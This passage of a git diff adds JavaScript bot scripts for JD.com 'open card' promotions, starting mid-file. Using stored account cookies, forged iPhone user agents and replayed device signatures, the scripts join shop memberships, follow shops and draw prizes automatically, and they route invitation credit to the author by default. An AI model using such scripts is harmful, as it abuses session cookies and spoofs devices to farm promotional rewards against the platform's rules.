(err) { + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res && res.data || ''); + } + }) + }) +} + + +function drawContent() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/taskact/openCardcommon/drawContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getActorUuid() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activityContent`, + body: `activityId=${$.activityId}&pin=${encodeURIComponent($.myPingData.secretPin)}&pinImg=${encodeURIComponent($.attrTouXiang)}&nick=${encodeURIComponent($.myPingData.nickname)}&cjyxPin=&cjhyPin=&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + // console.log(data) + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.followShop.allStatus != 'undefined') $.followShop = res.data.followShop.allStatus + if(typeof res.data.addSku.allStatus != 'undefined') $.addSku = res.data.addSku.allStatus + if(typeof res.data.actorUuid != 'undefined') $.actorUuid = res.data.actorUuid + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`activityContent ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getUserInfo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxActionCommon/getUserInfo`, + body: `pin=${encodeURIComponent($.myPingData.secretPin)}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getUserInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(res.data && typeof res.data.yunMidImageUrl != 'undefined') $.attrTouXiang = res.data.yunMidImageUrl || "https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png" + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getUserInfo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function adLog() { + return new Promise(resolve => { + let pageurl = `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}` + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/common/accessLogWithAD`, + body: `venderId=${$.venderId}&code=99&pin=${encodeURIComponent($.myPingData.secretPin)}&activityId=${$.activityId}&pageUrl=${encodeURIComponent(pageurl)}&subType=APP&adSource=null`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'Content-Type': 'application/x-www-form-urlencoded; Charset=UTF-8', + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let LZ_TOKEN_KEY = setcookie.filter(row => row.indexOf("LZ_TOKEN_KEY") !== -1)[0] + if(LZ_TOKEN_KEY && LZ_TOKEN_KEY.indexOf("LZ_TOKEN_KEY=") > -1){ + $.LZ_TOKEN_KEY = LZ_TOKEN_KEY.split(';') && (LZ_TOKEN_KEY.split(';')[0]) || '' + $.LZ_TOKEN_KEY = $.LZ_TOKEN_KEY.replace('LZ_TOKEN_KEY=','') + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getHtml() { + return new Promise(resolve => { + $.get({ + url: `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + headers: { + 'User-Agent': $.UA, + 'Host':'lzdz1-isv.isvjcloud.com', + 'X-Requested-With': 'com.jingdong.app.mall', + 'Cookie': `IsvToken=${$.isvObfuscatorToken}; LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.secretPin}; ${$.lz_jdpin_token}`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getMyPing() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/customer/getMyPing`, + body: `userId=${$.shopId || $.venderId}&token=${$.isvObfuscatorToken}&fromType=APP`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getMyPing API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + let setcookies = resp['headers']['set-cookie'] || resp['headers']['Set-Cookie'] || '' + let setcookie = '' + if(setcookies){ + if(typeof setcookies != 'object'){ + setcookie = setcookies.split(',') + }else setcookie = setcookies + let lz_jdpin_token = setcookie.filter(row => row.indexOf("lz_jdpin_token") !== -1)[0] + $.lz_jdpin_token = '' + if(lz_jdpin_token && lz_jdpin_token.indexOf("lz_jdpin_token=") > -1){ + $.lz_jdpin_token = lz_jdpin_token.split(';') && (lz_jdpin_token.split(';')[0] + ';') || '' + } + let LZ_TOKEN_VALUE = setcookie.filter(row => row.indexOf("LZ_TOKEN_VALUE") !== -1)[0] + if(LZ_TOKEN_VALUE && LZ_TOKEN_VALUE.indexOf("LZ_TOKEN_VALUE=") > -1){ + $.LZ_TOKEN_VALUE = LZ_TOKEN_VALUE.split(';') && (LZ_TOKEN_VALUE.split(';')[0]) || '' + $.LZ_TOKEN_VALUE = $.LZ_TOKEN_VALUE.replace('LZ_TOKEN_VALUE=','') + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(res.data || ''); + } + }) + }) +} +function getSimpleActInfoVo() { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/dz/common/getSimpleActInfoVo`, + body: `activityId=${$.activityId}`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Referer':`https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': `LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE};`, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} getSimpleActInfoVo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.shopId != 'undefined') $.shopId = res.data.shopId + if(typeof res.data.venderId != 'undefined') $.venderId = res.data.venderId + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`getSimpleActInfoVo ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getWxCommonInfoToken () { + return new Promise(resolve => { + $.post({ + url: `https://lzdz1-isv.isvjcloud.com/wxCommonInfo/token`, + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'lzdz1-isv.isvjcloud.com', + 'Origin':'https://lzdz1-isv.isvjcloud.com', + 'Referer': `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} wxCommonInfo API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object' && res.result === true){ + if(typeof res.data.LZ_TOKEN_KEY != 'undefined') $.LZ_TOKEN_KEY = res.data.LZ_TOKEN_KEY + if(typeof res.data.LZ_TOKEN_VALUE != 'undefined') $.LZ_TOKEN_VALUE = res.data.LZ_TOKEN_VALUE + }else if(typeof res == 'object' && res.errorMessage){ + console.log(`token ${res.errorMessage || ''}`) + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getIsvObfuscatorToken () { + return new Promise(resolve => { + $.post({ + url: `https://api.m.jd.com/client.action?functionId=isvObfuscator`, + body: 'area=16_1315_3486_59648&body=%7B%22url%22%3A%22https%3A%5C/%5C/lzdz1-isv.isvjcloud.com%22%2C%22id%22%3A%22%22%7D&build=167764&client=apple&clientVersion=10.0.10&d_brand=apple&d_model=iPhone12%2C1&eid=eidIeb54812323sf%2BAJEbj5LR0Kf6GUzM9DKXvgCReTpKTRyRwiuxY/uvRHBqebAAKCAXkJFzhWtPj5uoHxNeK3DjTumb%2BrfXOt1w0/dGmOJzfbLuyNo&isBackground=N&joycious=68&lang=zh_CN&networkType=wifi&networklibtype=JDNetworkBaseAF&openudid=8a0d1837f803a12eb217fcf5e1f8769cbb3f898d&osVersion=14.3&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=3c9b9db164cc8d694603ca6e3d7fb003&st=1628423908868&sv=102&uemps=0-0&uts=0f31TVRjBSuihfC/1D/2G8oVbUW0Pu4uJDif0Ehi7AVzM40fF9GfNX0yawFyBpTXK/PgWitxArFfBLGK%2Be2W5Pno6b7J4iivmXiQYbYPZi7fbVYEHb8Xa5JAi/fbdr/QeztGPJhLoPHKsXGU39PgzC1cWUEVezUyvHVtAuVQGBR%2Bj6Cx5kcez%2BkVn3IH8dKrAI6kA/Ct%2BQopU%2BROo1oY2w%3D%3D&uuid=hjudwgohxzVu96krv/T6Hg%3D%3D&wifiBssid=796606e8e181aa5865ec20728a27238b', + headers: { + 'User-Agent': $.UA, + 'Content-Type':'application/x-www-form-urlencoded', + 'Host':'api.m.jd.com', + 'Cookie': cookie, + } + }, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} isvObfuscator API请求失败,请检查网路重试`) + } else { + res = $.toObj(data); + if(typeof res == 'object'){ + if(typeof res.token != 'undefined') $.isvObfuscatorToken = res.token + }else{ + console.log(data) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} + +function taskPostUrl(url, body) { + return { + url: `https://lzdz1-isv.isvjcloud.com${url}`, + body: body, + headers: { + "Accept": "application/json", + "Accept-Language": "zh-cn", + "Accept-Encoding": "gzip, deflate, br", + "Connection": "keep-alive", + "Content-Type": "application/x-www-form-urlencoded", + 'Cookie': `${cookie} LZ_TOKEN_KEY=${$.LZ_TOKEN_KEY}; LZ_TOKEN_VALUE=${$.LZ_TOKEN_VALUE}; AUTH_C_USER=${$.myPingData.secretPin}; ${$.lz_jdpin_token}`, + "Host": "lzdz1-isv.isvjcloud.com", + "Origin": "https://lzdz1-isv.isvjcloud.com", + "X-Requested-With": "XMLHttpRequest", + "Referer": `https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/797702?activityId=${$.activityId}&shareUuid=${$.shareUuid}`, + "User-Agent": $.UA , + } + } +} + +function getUA(){ + $.UA = `jdapp;iPhone;10.0.10;14.3;${randomString(40)};network/wifi;model/iPhone12,1;addressid/4199175193;appBuild/167741;jdSupportDarkMode/0;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1` +} +function randomString(e) { + e = e || 32; + let t = "abcdef0123456789", a = t.length, n = ""; + for (i = 0; i < e; i++) + n += t.charAt(Math.floor(Math.random() * a)); + return n +} + +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} + + diff --git a/backUp/gua_opencard9.js b/backUp/gua_opencard9.js new file mode 100644 index 0000000..62e2869 --- /dev/null +++ b/backUp/gua_opencard9.js @@ -0,0 +1,758 @@ +/* +8.11-8.15 星动七夕 纵享丝滑 [gua_opencard9.js] +新增开卡脚本 +一次性脚本 + +邀请一人20豆 被邀请也有20豆(有可能没有豆 +开2个卡 抽奖可能获得20京豆(有可能有抽到空气💨 +关注10京豆 (有可能是空气💨 +加购5京豆 (有可能是空气💨 默认不加购 如需加购请设置环境变量[guaopencard_addSku9]为"true" + +第一个账号助力作者 其他依次助力CK1 +第一个CK失效会退出脚本 + +默认脚本不执行 +如需执行脚本请设置环境变量 +guaopencard9="true" +———————————————— +若是手机用户(不是nodejs环境) 是默认直接执行脚本的 +没有适配加购变量 所以是不加购 +———————————————— +入口:[8.11-8.15 星动七夕 纵享丝滑 (https://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=078b967203634b208aaf65085d91a970&shareUuid=d87a80e864dd45909d11f098b9efb3d0)] +============Quantumultx=============== +[task_local] +#8.11-8.15 星动七夕 纵享丝滑 +39 0,22 8-15 8 * https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard9.js, tag=8.11-8.15 星动七夕 纵享丝滑, enabled=true + +================Loon============== +[Script] +cron "39 0,22 8-15 8 *" script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard9.js,tag=8.11-8.15 星动七夕 纵享丝滑 + +===============Surge================= +8.11-8.15 星动七夕 纵享丝滑 = type=cron,cronexp="39 0,22 8-15 8 *",wake-system=1,timeout=3600,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard9.js + +============小火箭========= +8.11-8.15 星动七夕 纵享丝滑 = type=cron,script-path=https://raw.githubusercontent.com/smiek2221/scripts/master/gua_opencard9.js, cronexpr="39 0,22 8-15 8 *", timeout=3600, enable=true +*/ +const $ = new Env('8.11-8.15 星动七夕 纵享丝滑'); +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +const notify = $.isNode() ? require('./sendNotify') : ''; +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], + cookie = ''; +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +let guaopencard_addSku = false +message = "" +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/', { + "open-url": "https://bean.m.jd.com/" + }); + return; + } + if ($.isNode()) { + if (!process.env.guaopencard9 || process.env.guaopencard9 == "false") { + console.log('如需执行脚本请设置环境变量[guaopencard9]为"true"') + return + } + guaopencard_addSku = process.env.guaopencard_addSku9 + if (!process.env.guaopencard_addSku9 || process.env.guaopencard_addSku9 == "false") { + console.log('如需加购请设置环境变量[guaopencard_addSku9]为"true"') + } + } + $.shareUuid = 'd87a80e864dd45909d11f098b9efb3d0' + $.activityId = '078b967203634b208aaf65085d91a970' + console.log(`入口:\nhttps://lzdz1-isv.isvjcloud.com/dingzhi/dz/openCard/activity/1760960?activityId=${$.activityId}&shareUuid=${$.shareUuid}`) + for (let i = 0; i < cookiesArr.length; i++) { + cookie = cookiesArr[i]; + if (cookie) { + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + getUA() + $.nickName = ''; + console.log(`\n\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + await run(); + if(i == 0 && !$.actorUuid) return + } + } +})() + .catch((e) => $.logErr(e)) + .finally(() => $.done()) + +async function run(){ + try{ + $.isvObfuscatorToken = $.LZ_TOKEN_KEY = $.LZ_TOKEN_VALUE = '' + await getWxCommonInfoToken(); + await getIsvObfuscatorToken(); + if($.isvObfuscatorToken == '' || $.LZ_TOKEN_KEY == '' || $.LZ_TOKEN_VALUE == ''){ + console.log('获取[token]失败!') + return + } + await getSimpleActInfoVo() + $.myPingData = await getMyPing() + if ($.myPingData ==="" || $.myPingData === '400001' || typeof $.shopId == 'undefined' || typeof $.venderId == 'undefined') { + $.log("获取活动信息失败!") + return + } + await getHtml(); + await adLog(); + $.attrTouXiang = 'https://img10.360buyimg.com/imgzone/jfs/t1/7020/27/13511/6142/5c5138d8E4df2e764/5a1216a3a5043c5d.png' + await getUserInfo(); + $.actorUuid = ''; + await getActorUuid(); + if(!$.actorUuid){ + console.log('获取不到[actorUuid]退出执行,请重新执行') + return + } + await drawContent(); + await $.wait(1000) + let checkOpenCardData = await checkOpenCard(); + $.log("开完卡: " + checkOpenCardData.allOpenCard) + if (checkOpenCardData && !checkOpenCardData.allOpenCard) { + for (let cardList1Element of checkOpenCardData.cardList1) { + if(cardList1Element.status == 0){ + console.log(cardList1Element.name) + await join(cardList1Element.value) + await $.wait(1000) + await drawContent(); + } + } + await $.wait(1000) + await drawContent(); + checkOpenCardData = await checkOpenCard(); + await $.wait(1000) + } + if(checkOpenCardData && checkOpenCardData.score1 == 1) await startDraw(1) + $.log("关注: " + $.followShop) + if(!$.followShop) await followShop(); + if(!$.followShop) await $.wait(1000) + $.log("加购: " + $.addSku) + if(!$.addSku && guaopencard_addSku+"" != "true") console.log('如需加购请设置环境变量[guaopencard_addSku9]为"true"'); + if(!$.addSku && guaopencard_addSku) await addSku(); + if(!$.addSku && guaopencard_addSku) await $.wait(1000) + await getActorUuid() + await $.wait(1000) + await getDrawRecordHasCoupon() + await $.wait(1000) + await getShareRecord() + $.log($.shareUuid) + if ($.index === 1) { + if($.actorUuid){ + $.shareUuid = $.actorUuid; + console.log(`后面的号都会助力:${$.shareUuid}`) + }else{ + console.log('账号1获取不到[shareUuid]退出执行,请重新执行') + return + } + } + }catch(e){ + console.log(e) + } +} +function getDrawRecordHasCoupon() { + return new Promise(resolve => { + let body = 